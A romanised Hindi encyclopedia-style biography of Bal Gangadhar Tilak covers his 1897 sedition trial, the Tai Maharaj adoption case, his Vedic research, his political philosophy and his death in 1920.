thumb|250px|bal gangadhar tilak ka muqadama, b aaumbe uchch nyayalay (1897) yah muqadama uchit samay par, 8 sitanbar ko sunavaee ke lie aya. sunavaee ek saptah tak chali. kalakatta bar ke shri pyoo aur unaki sahayata ke lie shri garth bachav paksh mean tilak ki or se aur edavoket janaral shri besil lag abhiyojan paksh ki or se the. nyayamoorti straichi ne muqadamean ki sunavaee ki. joori ke sadasy the paanch yooropiy eesaee, ek yooropiy yahoodi, do hindoo aur ek parasi. joori ke chhah yooropiy sadasyoan ne aropi ko doshi thaharaya, jabaki tin deshi sadasyoan ne unhean nirdosh mana. nyayadhish ne bahumat ke nirnay ko svikar kar liya aur tilak ko atharah mahine ki k di qaidi ki saza sunaee. jab joori ke sadasy apane nirnay par vichar karane ke lie chale ge the, abhiyukt ki or se nyayadhish ko avedan diya gaya ki qanoon ke kuchh prashn poori baianch ke vichararth surakshit kar die jaean. is avedan ko svikar nahian kiya gaya. bad mean 'edavoket janaral' ko diya gaya isi tarah ka ek prarthanapatr namanjoor kar diya gaya. 17 sitanbar, sanh 1897 ee. ko uchch nyayalay se yah pramanapatr jari karane ka anurodh kiya gaya ki yah kes 'privi kauansil' mean apil karane yogy hai is avedan ki sunavaee mukhy nyayadhish sar charls phairan, nyayamoorti kaiandi aur nyayamoorti straichi ne ki aur use asvikar kar diya.

nyay ki apil

privi kauansil mean nyay ki apil ki gee. mananiy shri esakvith ne, jo bad mean ianglaiand ke pradhanamantri hue, 19 navanbar, 1897 ko tilak ki apil par bahas ki. l aaurd helsabari, l aaurd chaansalar jo us samay ianglaiand ke kaibinet mantri the, lik se hatakar kauansil ki baithak ki adhyakshata karane ge. sabhi ko pata tha ki kaibinet ke ek any mantri ne is muqadamean ko chalane ki manjoori di thi. shri esakvith ne apani bahas mean is bat par bahut zor diya ki nyayamoorti straichi ne joori ko galat nirdesh die the. lekin privi kauansil ne samoochi gavahi ke sar aur vivaran par vichar karane ke bad faisale mean parivartan karane layaq koee bat nahian paee. parinamasvaroop apil karane ki anumati dene ka prarthanapatr namanjoor kar diya gaya.

is prakar tilak ke lie nyay pane ke sabhi raste band ko ge. lekin in ghatanaoan ka gahara asar briten ki janata par p da. pro0 maiksamular aur sar viliyam hantar ne apani vishal hridayata ke sath, jo unake charitr ka abhinn pahaloo tha, maharani ko ek prativedan bhejane ka ayojan kiya. is par mahattvapoorn vyaktiyoan ke hastakshar the. is prativedan mean anurodh kiya gaya tha ki tilak ke prati is adhar par daya pradarshit ki jaean ki ve ek vidvanh haian aur unaki rihaee ke paksh mean bahut kuchh kaha ja sakata hai. any batoan ke sath is prarthanapatr ka asar hua aur batachit ke bad tilak kuchh aupacharik shartean manane ke lie taiyar ho ge aur unhean mangalavar 6 sitanbar, 1898 ko 'banbee ke mahamahim garvanar' ke adeshoan par chho d diya gaya.

rihaee ke bad

tilak karavas mean atyadhik durbal ho ge the. apana svasthy sudharane ke lie unhoanne pahale kuchh din 'sianhagadh senitoriyam' mean bitae, disanbar mean madras mean bharatiy rashtriy kaangres mean shamil hone ke bad unhoanne shrilanka ka daura kiya. apane aandolan ko jahaan chho da tha, vahian se use phir shuroo karane aur age badhane mean agale do varsh unhoanne lagae. unake bahut se kam unake jel jane ke karan ruk ge the. rayagadh qile mean sanh 1900 ee. mean ek vishal ‘shivaji mahotsav’ ayojit kiya gaya. shivaji ki smriti ko sthayi banane ke lie ek smarak banane ki disha mean bhi kuchh kam age badha. lekin kisi bhi any kary se adhik mahattvapoorn unaka vedoan ki prachinata-sanbandhi kary tha.

d arkatik hom in di vedaz

‘oriaaun’ par pustak ke prakashan ke bad unhean yah kary karane ki zaroorat gaharaee se mahasoos ho rahi thi. apani nee pustak, d arkatik hom in di vedaj ki prastavana mean unhoanne likha ki pichhale das varshoan ke dauran mera kafi samay un pramanoan ki khoj mean laga hai, jo vedoan par chhae kuhare ko utha deange aur tab un par gahari drishti dali ja sakegi. isake bad unhoanne ‘oriaaun’ mean vyakt vicharadhara ko age badhate hue kam shuroo kiya. manushy jati ke adikalin itihas se sanbandhit bhoovijnan aur puratattv ki navinatam khozoan ke adhyayan ke bad vah ek alag tarah ki khoj ki or dhire-dhire badhe aur aantat: is natije par pahuanche ki vaidik rrishiyoan ke poorvaj himani yug mean uttar dhruviy kshetr mean rahate the. jel mean apane jabaran avakash ka upayog unhoanne rrigved ke sanpoorn sanskaran jise unake pas 'prophesar maiksamoolar' ne bheja tha, ki sahayata se apane in siddhantoan ko vikasit karane mean kiya.

nee pustak ka prakashan

nee pustak ki pahali paandulipi sianhagadh mean sanh 1898 ee. ke aant mean likhi gee, lekin tilak ne janaboojhakar isaka prakashan der se kiya. ve is vishay mean bharat ke sanskrit vidvanoan se vichar-vimarsh karana chahate the, kyoanki khoj anek dishaoan mean mu d rahi thi. pustak march, sanh 1903 ee. mean prakashit ki gee. sarvatr isaka svagat hua. usake bare mean keval ek vidvanh 'bostan vishvavidyalay' ke adhyaksh aur ‘peradaij phauand’ ke lekhak 'd aau. eph. dablyoo. varen' ke vicharoan ko yahaan uddhrit kiya ja raha hai, jo sitanbar sanh 1905 ee. ki opan kort maigajin, shikago mean prakashit hue the. thumb|250px|left|bal gangadhar tilak apane parivar ke sath d aau. eph. dablyoo. varen ke tilak ke prati vichar

‘‘yahaan keval yah kahana paryapt hai ki vartaman lekhak ne apani ray ke samarthan mean jo praman die haian, ve isake pahale kisi bharatiy ya eerani vidvanh dvara kisi parikalpana ko siddh karane ke lie die ge pramanoan se adhik nirnayak haian. vishay ki vivechana karate hue shuroo se lekar akhir tak poori spashtavadita aur aitihasik evan vaijnanik khoj ke taur-tariqoan ka poora samman kiya gaya hai. shuroo mean maian yah sochata tha ki isake sach hone ki sanbhavana bahut kam hai lekin isake paksh mean jo praman ekatr kie ge unake karan mujhe ise svikar karana p da.

bis varsh pahale manav jati ke mool sthan sanbandhi shodh karate samay maianne sabhi vaidik aur avesta-sanbandhi rachanaean us samay tak upalabdh unake anuvad padhe aur maian usi natije par pahuancha jis par tilak pahuanche haian. mere tark mean prachin eeraniyoan ke pauranik bhoogol aur brahmaand-varnan ke kuchh bianduoan par nee roshani dali gee thi. mere is kary ko eerani vishayoan ke achary prophesar spigel ne svikar kiya. maianne thahare hue jal aur any vaidik mithakoan ki bhi nee vyakhya ki. at: mere lie yah vishesh roop se prasannata ka vishay tha ki tilak bhi lagabhag unhian mukhy nishkarshoan par aur anek gaun nishkarshoan par pahuanche, jin par maian pahuancha tha. ullekhaniy hai ki tilak apani khoj ke lie in granthoan ke anuvad par nahian balki unake moolapath par nirbhar the. sudoor desh mean rahane vale is vyakti ko maian sarvajanik roop se dhanyavad dena chahata hooan, jisane is kshetr mean mere kary ki sarahana karane ki udarata pradarshit ki. is kshetr mean unaka kam thos, mohak aur adhik adhikarik hai. jo koee bhi manoyog ke sath is pustak ko aur j aaun o. nil ki pustak, di nait aph gads ko padhega, vah kabhi bhi yah saval nahian poochhega ki aryoan ka adi desh kahaan tha."

taee maharaj ka muqadama

jab tilak ki nee pustak janata ke lie jari huee, tab 'banbee sarakar' ke sujhav par ve ek aur muqadame taee maharaj kes mean phanse hue the. is kes ne sanh 1901 ee. se tilak ka sara samay le liya tha. isake karan unhean n keval yantranadayak sharirik kasht, balki manasik utpi dan bhi bhogana p da aur hazaroan rupaye ki hani bhi uthani p di. thumb|bal gangadhar tilak
Bal Gangadhar Tilak is muqadame ki sankshipt kahani is prakar hai - poona ke ek pratham shreni ke saradar shri baba maharaj ne tilak ko apane estet ke char trastiyoan mean se mukhy trasti bana rakha tha. rajadroh ke muqadame mean uchch nyayalay dvara tilak ko zamanat par chho de jane ke kuchh din bad, 7 agast sanh 1897 ee. ko baba maharaj ka svargavas ho gaya. durbhagy kabhi akele nahian ata. vichitr sanyog yah hua ki jis din apani rihaee ke bad tilak banbee se laute, mrityu shaiyya par lete maharaj ne unhean bulavaya aur is bat par zor diya ki ve unaki vasiyat ke nishpadak banean. tilak is bhari zimmedari ko lene ke lie taiyar ho ge. unhean asha thi ki unake aisa karane se maharaj ke parivar ko rrinamukt kiya ja sakega aur rrinamukt estet uttaradhikari ko soanpa ja sakega. usake bad tilak ne yah kam hath mean lene par paya ki do mamaloan ki or tatkal dhyan dena avashyak hai. pahala tha rrinoan ki samapti aur kharch mean kami tatha doosara tha taee maharaj ke lie god lene ki vyavastha. kyoanki us samay fail rahe pleg ke karan shahar mean manav jivan khatare mean tha, aur 'taee maharaj' ekamatr aisi mahila thian jo apane pati ke lie l daka god le sakati thian. rrinoan ki samapti ka arth tha kharchoan mean kami aur bachat. taee maharaj ko yah pasand n tha. vidhava yuvati tilak ke nek iradoan se parichit thian. unhoanne shuroo mean ‘estet’ ke namamatr ke pratinidhi ke roop mean apani sthiti ko saharsh svikar kiya. istet ka vastavik aur prabhavi svamitv to unake pati dvara vasiyat mean niyukt trastiyoan ke pas tha. lekin taee maharaj shighr hi apane priy prabhari ke prabhav mean a geean. usane unhean sikhaya ki ve ‘estet’ ki nyayapoorn adhikari haian aur ek balak ko god lekar unhean unake adhikaroan se vanchit kiya ja raha hai. kuchh lutere bhi vahaan the, jo ukt vidhava ko madhur batoan se baragalakar unake atyant priy ho ge the. ve bhavishy mean ek peanshanar aur estet par ashrit ke roop mean unaki bhavi halat ke kamazor pahaluoan ka badha-chadha kar varnan karate the. unaka yah bhi kahana tha ki agar ve dridh ichchhashakti dikhaaian to hamesha ke lie azad ho sakati haian, us l dake ke sath aisi vyavastha kar sakati haian ki vah hamesha ajnakari balak ki tarah acharan kare aur zayadad ka prabandh is prakar se kare ki bhavishy mean unaka aur unake priy evan sakriy salahakaroan ka kalyan hota rahean garibi mean ji rahe anek l dake is halat mean bhi aisi zayadad ke lie god liye jane lie taiyar ho jaeange.

unake bhaee is tarah ki sthiti mean atyadhik prasann hoange kyoanki unake poorvajoan ki sanpatti ka kam se kam ek varis kam ho jaega. is abhagi mahila ke mamale mean bhi aisa hi hua. kharch mean kami se vah chiantit hueean, aur nagapurakar aur kolhapur ke pandit maharaj ke netritv mean sidvaantahin (beeeman) parti ke sh dayantr ka shikar ban geean. in logoan ne yah saanth-gaanth rachi ki taee maharaj pandit ke bhaee bala maharaj ko god le lean. lekin n to taee maharaj ko aur n nagapurakar ko yah himmat thi ki ve khulakar trastiyoan ko virodh karean. taee maharaj ko is bat ka pakka vishvas tha ki trasti koee aisa kam nahian kareange jisase unako niji labh hoga aur ya unake pati dvara chalae ge bhalaee ke karyoan mean badha pahuanche. itana spasht hai ki 18 joon, sanh 1901 ee. tak unake bich koee matabhed nahian tha. isi din ye sab log aurangabad ke lie ravana hue, jahaan aantat: maharaj parivar ki babare shakha ke ek l dake ko taee maharaj ne god liya.

aurangabad se lautane ke bad taee maharaj bure salahakaroan ke prabhav mean a geean. in logoan ne unhean is bat ke lie taiyar kar liya ki ve apane pati ki vasiyat ke pramanapatr ko kharij karava dean yah is asha mean kiya gaya ki ve svatantr aur apani manamarji ki malakin ho jaeangi. yah avedan poona zila ke jaj shri estan ko 29 julaee, sanh 1901 ee. ko diya gaya.

is avedan par karravaee us tarikh se 3 aprail, 1902 tak chali. is avadhi mean adalat ki kuchh 344 baithakean huee inamean se 14 mean tilak se jirah ki gee. yah kary shri estan aur taee maharaj ke vaqiloan ne milakar kiya. is karravaee mean dekhane yogy mukhy bat yah hai ki yadyapi isamean aurangabad mean dattak-grahan koi mudda nahian tha, shri estan ne use nirnay karane ke lie mukhy mudda bana diya. tilak dvara chunauti die jane aur virodh prakat kie jane ke bavazood shri estan ne gavahi sanbandhi qanoon aur prasangikata ke adhar par taee maharaj ki or se dheroan dastavezi aur maukhik gavahi bad mean shamil kar dian. vastav mean keval yah mudda uthaya gaya tha ki kya tilak aur any logoan ko jari kiya gaya vasiyat ka pramanapatr bekar aur nishprabhavi ho gaya hai. kya vasiyat ko karyanvit karane vale log trast mean rahane ke ayogy ho ge hai, jisake karan trast mean ne logoan ki niyukti avashyak ho gee hai. shri estan ne in prashnoan ka uttar haan mean diya. vah is natije par pahuanche ki aurangabad ka dattak grahan siddh nahian hua hai. unhoanne vasiyat ka pramanapatr radd kar diya aur yah adesh diya ki muqadame ka kharch tilak aur shri khaparde ko uthana p dega. faisala lamba tha. isake 90 pratishat bhag mean aurangabad ka dattak-grahan aur poona mean taee maharaj ke sath kathit durvyavahar adi nitaant aprasangik tathyoan ki charcha hai. yah bat dhyan dene yogy hai ki tilak ne inhean ‘aprasangik’ kah kar inaka virodh kiya tha aur unhoanne inase sanbandhit kagaz ka ek tuk da tak gavahi ke lie pesh nahian kiya sivay un uttaroan ke jo unhean majaboori mean dene p de. is bare mean unhoanne apane vaqil ko nirdesh diya tha ki vah is vishay mean unake sath kathorata se prashn poochhe.

estan ki vaqalat

yah spasht hai ki is tarah shri estan ke samane in mamaloan ka keval ek tarapha vivaran tha tathapi, unhean nirnay lene mean koee hichakichahat nahian huee aur unhoanne aisi alochana ki mano unake samane tilak ke paksh ki bhi sabhi gavahi thi. madhy yug mean spen mean dharmik aparadhoan ke lie dand dene vale nyayalay ki tarah shri estan kam kar rahe the aur svayan tilak ke viruddh shaitan ke vaqil ki tarah acharan kar rahe the.

apani jaanch ke parinamasvaroop shri estan ne paya ki n keval tilak ko jari vasiyat ka pramanapatr radd kiya jana chahie, balki unake dvara kie ge anek aparadhoan ke lie un par muqadama bhi chalaya jana chahie. shri estan ne apani adalat ki anuchit, gairaqanooni aur kashtadayi karravaee ki charam parinati mean tilak ko siti majistret ke supurd kar diya.

sat aparadhik arop

tilak ke viruddh taiyar sat aparadhik arop is prakar the-

1. nagapurakar ke viruddh 'amanat mean khayanat' ki jhoothi shikayat karana.
2. aurangabad yatra ke hisab-kitab mean ghata-badha karake jhoothi gavahi taiyar karana.
3. uparyukt ke sanbandh mean jalasazi
4. aisi gavahi jisake bare mean pata hai ki vah jhoothi ya jali hai dattak-grehan par taee maharaj ke prishthaankan ko satyapit karane ke lie sachchi batakar istemal karana ya use bhrasht tariqe se istemal karana.
5. ukt dattak-grahanapatr ko beeemani mean sachcha aur sahi manana.
6. taee maharaj ke dastakhatoan ke uparaant dattak putr sanbandh dastavez ka istemal kapatapoorvak sahi dastavez ke roop mean karana.
7. janaboojh kar das vakyoan mean jhoothi gavahi dena, jinhean tin up-shirshakoan ke aantargat vibhakt kiya gaya tha.

• aurangabad mean dattak-grahan ki ghatana.
• poona ki haveli mean taee maharaj ko band rakhana.
• usi haveli mean baba maharaj ke viruddh balaprayog.

in aropoan par tilak ko adalat ke supurd karane se shri estan santusht nahian hue. unhoanne sarakar ko sujhav diya ki is mamale se utpann kuchh any sahayak aropoan jaise ki pulis ko galat soochana dena, dhokhadh di karana, gairaqanooni sabha karana adi ki jaanch karaee jaean.

uchch nyayalay mean apil

thumb|250px|bal gangadhar tilak uchch nyayalay mean bar-bar apil ki gee. agar uchch nyayalay samay par ek samasya ka nyayapoorn samadhan kar deta to use bad mean muqadamoan se nahian nipatana p data, lekin uchch nyayalay ne vasiyat ke pramanapatr ko nirast karane ke shri estan ke nirnay ko palat diya magar tilak ke viruddh aparadhik karyavahiyoan ko jari rahane diya. jahaan tak jhoothi shikayat ka arop tha, shri bimain ne tilak ke viruddh muqadame ki manzoori ko anuchit paya. lekin ek lambe muqadame ke bad speshal majistret shri klemeant ne tilak ko shapath le jhoothi gavahi dene ka doshi paya aur unhean atharah mahine ki kathor qaid ki saza sunaee. tathapi, majistret ne yah svikar kiya ki tilak svarthi uddeshyoan se prerit nahian the, lekin usaki nazar mean ve ek unmatt vyakti the, aur unaka dimag duragrah aur satta ke pyar ke qabze mean tha. lekin vipatti ke badal chhant ge. seshan jaj shri lookas ne shighr hi ek apil mean saza ko ghata kar chhah mahine kar diya aur tilak ke prayojanoan aur iradoan ko poori taur par uchit thaharaya. saza ke lie shri lookas ka nirnay asthir aur samarthan yogy nahian tha aur 4 march, sanh 1904 ee. ko uchch nyayalay ne use nirast kar diya. shapath lekar gavahi dene ka arop siddh nahian paya gaya, phalat: sarakar ne tilak ke viruddh lagae ge sabhi arop vapas le liye. is prakar tilak is agnipariksha se kuandan ban kar nikale.

sar l aauleans jenakians ka nirnay sabhi vyavaharik prayojanoan ke lie god lene ke muqadame par nirnay tha. shri estan ka sahara lekar taee maharaj ki parti dvara tilak ke viruddh jo mamale banae ge, ve tash ke qile ki bhaanti dhah ge. vivad mean banae ge tathyoan ke adhar par tilak ke viruddh shapath le kar jhoothi gavahi dene ka arop lagaya gaya tha. lekin jab muqadama uchch nyayalay mean age badha to shadyantrakariyoan ne paya ki tilak ke lie banae ge gadde mean ve svayan gir ge haian. is kes ne 1901 se 1904 tak tilak ka poora samay liya. in karyavahiyoan ke lie adalat ki 160 baithakean hueean. adalat ki baithakoan ke dauran aksar tilak ko vyaktigat roop se upasthit hona p da. muqadame ko sangin banane vali bat yah thi ki tilak par muqadama chalakar banbee sarakar apratyaksh roop se unake viruddh apani shatruta poori kar rahi thi. ve dattak-grahan ke adhar par taee maharaj ki l daee l d rahe the. yah sarakari shatruta aur ek aurat ke apane niji hit ka amangalakari sanyog tha.

ham yah nahian janate ki vastavikata kya thi. kya taee maharaj sarakar ke hathoan mean kathaputali thi ya sarakar usake hathoan mean kathaputali thi. sanbhavana yah hai ki inamean se pratyek ne doosare ka kathaputali ki tarah istemal kiya aur ek sima tak apana bhi kathaputali ki tarah istemal hone diya. is prasang mean du:kh ki bat yah hai ki sarakar apani garima ko bhool gee aur usane svayan ko ek ashikshit, svarthi aur vivekarahit aurat ke star par kh da kar diya. is sabake parinamasvaroop is muqadame mean janata ki dilachaspi bahut adhik badh gee thi, yadyapi dilachaspi ka mukhy keandr tilak bane rahean.

is poore daur mean tilak apana manasik santulan banae rakh kar bina kisi badha adi ke ve kis prakar apana samany kam-kaj kar sake. unhoanne kaise prasannata ka bhav banae rakha aur apane qanooni salahakaroan ke lie bauddhik prerana ke srot bane. gahari chiantaoan, jise unake jyeshth putr ki maut ne aur ugr kar diya tha. kis prakar ve apane mastishk ko mukt aur alag-thalag rakh sakean taki apane priy sahityik adhyayan ke kary ko jari rakh sakean tatha apani pustak ‘di arkatik hom in vedaj’ ko prakashit kar sake- ye sabhi shodh ke vishay haian.

rajaniti mean

yogy neta

tilak bad mean poona ki mool adhikar kshetr ki adalat mean dattak-grahan ka muqadama jit ge. isase unake shabd aur kary poori tarah uchit pramanit ho ge. agale varsh tilak ne apane niji mamaloan, visheshakar samacharapatr aur chhapekhane se sanbandhit karyoan ko sangathit evan thik-thak kiya. ‘kesari’ ki prasar sankhya mean atyadhik badhotari ho gee thi. at: usaki chhapaee ke lie ek b di mashin ka ayat karana zaroori ho gaya tha. maharaja gayakava d ne 'poona ka gayakava d ba da' unhean uchit dam par unake hathoan bech diya. isase tilak zaroorat ke mutabik apane samacharapatr aur usake chhapekhane ko sthayi jagah de sake. apani bahumukhi pratibha ka upayog unhoanne marathi bhasha ke lie nee kism ke taip ke vikas ke lie bhi kiya. ve is taeep ka istemal marathi laino taip mashin mean karana chahate the. is kary mean unhean ullekhaniy saphalata mili. unake ne taip ki dizain ko ianglaiand mean laino taip nirmataoan ne manzoor kar liya tha, lekin marathi taip se yukt laino taip mashin ke ayat mean deri ho gee. darasal desh mean bahut hi kam chhapekhane aise the, jo devanagari laino taip mashinoan ka kharch utha pate the. isalie ianglaiand ke laino taip nirmataoan ko is bat ke lie taiyar nahian kiya ja saka ki ve apani pooanji ek nee kism ke taip vali mashin mean phansa dean. thumb|250px|bal gangadhar tilak|left tilak sanh 1905 ee. se sakriy rajanitik aandolan mean poori tarah kood ge the. bangal ke vibhajan ke karan desh mean rashtravadi bhavanaoan ka jvar aya. isi ke sath svadeshi, bahishkar, rashtriy shiksha adi svarajy jaise karyakram shuroo kie ge. banaras kaangres ne in bhavanaoan ko sangathit aur shaktishali dhang se prakat kiya. yah bat svikar ki jane lagi ki tilak rashtravadiyoan ki parti (neshanalist parti) ke sabase yogy neta haian aur unhian ke karan 'bangal ke vibhajan' ke bad pashchimi bharat mean rashtravad ki mashal jalati rahi hai.

tilak ka drishtikon

agale varsh niandaniy hindoo-muslim dange ke bad anek ne prashn samane ae. unase rajanitik vatavaran mean jabaradast parivartan aya. tilak in nee chunautiyoan ka samana karane ke lie sabase age the. unhoanne 'eanglo iandiyan' adhikariyoan ki nitiyoan ka jabaradast virodh kiya. in adhikariyoan ne bhi anubhav kiya ki am janata par unaka kitana prabhav hai. saanpradayik dangoan ke bare mean tilak ka drishtikon chahe sahi ya galat ho, spasht aur nirbhraant tha. unaka kahana tha ki hindoo-muslim dango ka karan kuchh adooradarshi eanglo iandiyan adhikariyoan dvara gupt roop se in donoan sanpradayoan ke logoan ko bh dakana hai. unaki ray mean is shararat ki j d l aaurd dafarin dvara shuroo ki gee phoot dalo aur raj karo ki niti hai. in dangoan ko niyantrit karane ka ekamatr tariqa yah hai ki sarakari adhikari hindoo musalamanoan ke bich k daee ke sath nishpaksh acharan karean. unhoanne kuchh varg ke adhikariyoan ke viruddh pakshapat ka pratyaksh arop lagaya jise svabhavat: in adhikariyoan ne pasand nahian kiya. gavarnar l aaurd hairis aur unake sachiv shri li varnar, donoan tilak ke in vicharoan se naraz the, lekin tilak sarakari narazagi se darane aur dabane vale vyakti nahian the. apane patr 'kesari' ke jarie am janata par unaka vyapak prabhav tha aur yahi prabhav mukhy roop se janata mean ek nee bhavana vikasit kar raha tha. shikshit logoan mean bhi unaka prabhav bahut tha. ve do bar 'sthaniy vidhan parishadh' aur banbee vishvavidyalay ke ‘phelo’ nirvachit kie ge. sanh 1895 ee. mean ve 'poona nagarapalika' ke sarvadhik matoan se sadasy nirvachit hue. ek kushal karyakarta ke roop mean unhean sahayogiyoan ka adar mila.

samajik aur rajanitik darshan

apani purani paranpara aur sansthaoan ke prati janata mean ab nee jagarookata prakat ho rahi thi. isake sabase spasht udaharan the purani dharmik aradhana, ganapati-poojan aur shivaji ke jivan se ju de prasangoan par mahotsavoan ka ayojan. in donoan aandolanoan ke sath tilak ka nam ghanishth roop se ju da hai. tilak ka dridh vishvas tha ki purane devataoan aur rashtriy netaoan ki svasth vandana se logoan mean sachchi rashtriyata aur deshaprem ki bhavana vikasit hogi. videshi vicharoan aur prathaoan ke aandhanukaran se nee pidhi mean adharmikata paida ho rahi hai aur usaka vinashak prabhav bharatiy yuvakoan ke charitr par p d raha hai. tilak ka vishvas tha ki agar sthiti ko isi prakar big dane diya gaya to aantat: naitik divaliepan ki sthiti a jaegi, jisase koee bhi rashtr ubar nahian sakata. yah ek ganbhir samasya thi aur bharat sarakar tak ne us samay is or dhyan diya tha. sarakar ki nazar mean is bimari ka ilaj bharatiy skooloan mean naitik shiksha ki pathyapustakoan ki padhaee shuroo karana tha. tilak ne sarakar ke is sujhav ki kathor alochana 'maratha' ke anek aankoan mean ki. tilak ke vichar mean, bharatiy yuvakoan ko svavalanbi aur adhik oorjavan banane ke lie unako adhik atm-samman ka prashikshan diya jana chahie. yah tabhi kiya ja sakata hai, jab unhean apane dharm aur poorvajoan ka adhik adar karana sikhaya jaean. atyadhik aur niruddeshy atmalochana ek tapasvi ya darshanik ke lie achchhi ho sakati hai, lekin vyavaharik jivan mean isase pratikool prabhav p d sakata hai. atirikt deshaprem ke karan kabhi tho di-bahut apriy sthiti utpann ho sakati hai, lekin isake achchhe natije bhi nikalate haian, jabaki poorn atmatyag ka natija keval alasy aur maut ho sakati hai. [[chitr:Tilak-Stamp.jpg|thumb|250px|bal gangadhar tilak ke samman mean jari dak tikat]] sankshep mean, yahi tilak ka samajik aur rajanitik darshan hai. is bare mean do ray ho sakati haian ki yah sahi hai ya nahian lekin koee vyakti yah nahian kah sakata hai ki unhoanne isaka anusaran nahian kiya. tilak par akasar samajik sudharoan ke mamale mean dhoang aur asthirata ka arop lagaya gaya hai. ve apani hi tarah ke vyavaharik samaj-sudharak the. unhoanne apani l dakiyoan ko shiksha di, shastr sammat adhikatam ayu hone tak unaka vivah sthagit kiya, jati sanbandhi pratibandhoan mean chhoot dene ki apil ki aur amataur par samaj-sudhar aandolan ka samarthan kiya. lekin isake bavazood unhoanne samaj-sudhar parti ki alochana ki. satahi star par nirikshan karane valoan ko unake vyavahar mean yah virodhabhas nazar ata hai, jabaki unake virodhi isaka karan unaki sasti lokapriyata prapt karane ki ichchha batate the. vastavikata yah hai ki is vishay mean unaka acharan unake pakke vishvas ka natija tha. ve samaj-sudhar chahate the- lekin unako un adamiyoan aur unake tariqoan par, jo samaj sudhar ki avaz utha rahe the, vishvas nahian tha. unaki ray mean, pichhali pidhi ke samaj-sudharakoan ke pas na to vah yogyata thi aur n ve naitik gun the, jo sudhar aandolan ki saphalata ke lie avashyak haian. at: unaki alochana am taur par un vyaktiyoan ke viruddh hoti thi, un uddeshyoan ke viruddh nahian hoti thi jisake lie ye log kary kar rahe the. vastav mean rajanitik aur samajik prashnoan ki alochana ke bare mean unaka siddhaant yahi tha. ve kisi sarakari qadam ka anumodan kar sakate the lekin us upay ko lagoo karane vale adhikariyoan ki alochana karate the. isi prakar ve kisi sudhar ko lagoo karane ke paksh mean hote the lekin ve un logoan ki alochana karate the, jo is sudhar ke mathadhish hone ka dava karate the.

ghatana-pradhan jivan

tilak ka jivan ghatana-pradhan raha hai. ve maulik vicharoan ke vyakti the. vah sangharshashil aur parishramashil the. ve asani se kuchh bhi thukara sakate the. vah tab vishesh prasannata ka anubhav karate the, jab unhean kathin chunautiyoan ka samana karana p data tha. unake adhikaansh kary paropakar ki bhavana se bhare hote the. unaki ekamatr ichchha thi logoan ki bhalaee ke lie kary karana aur yah bat svikar ki jati hai ki ve apani is ichchha ko kafi had tak poori karane mean saphal rahe the. unamean yogyata, adhyavasay, udyamashilata aur deshaprem ka aisa anootha sangam tha ki aangrez sarakar unase hamesha chaukas rahati thi. tilak ke anek mitr unake prati shaktishali british sarakar ke ravaiye ko sanbhavat: yah kah kar svikar kareange ki yah unake vastavik moolyoan ka jita-jagata pramanapatr hai.

mrityu

san 1919 ee. mean kaangres ki amritasar baithak mean hissa lene ke lie svadesh lautane ke samay tak tilak itane naram ho ge the ki unhoanne 'm aauntegyoo- chemsaford sudharoan' ke zariye sthapit 'lejisletiv kauansil' (vidhayi parishadoan) ke chunav ke bahishkar ki gaandhi ki niti ka virodh nahian kiya. isake bajay tilak ne kshetriy sarakaroan mean kuchh had tak bharatiyoan ki bhagidari ki shuruat karane vale sudharoan ko lagoo karane ke lie pratinidhiyoan ko salah di ki ve unake ‘pratyuttarapoorn sahayog' ki niti ka palan karean. lekin ne sudharoan ko nirnayak disha dene se pahale hi 1 agast, sanh 1920 ee. mean banbee mean tilak ki mrityu ho gee. unhean shraddhaanjali dete hue mahatma gaandhi ne unhean adhunik bharat ka nirmata aur neharoo ji ne bharatiy kraanti ke janak ki upadhi di.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

hindi k diyaan	aangrezi k diyaan
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sanbandhit lekh

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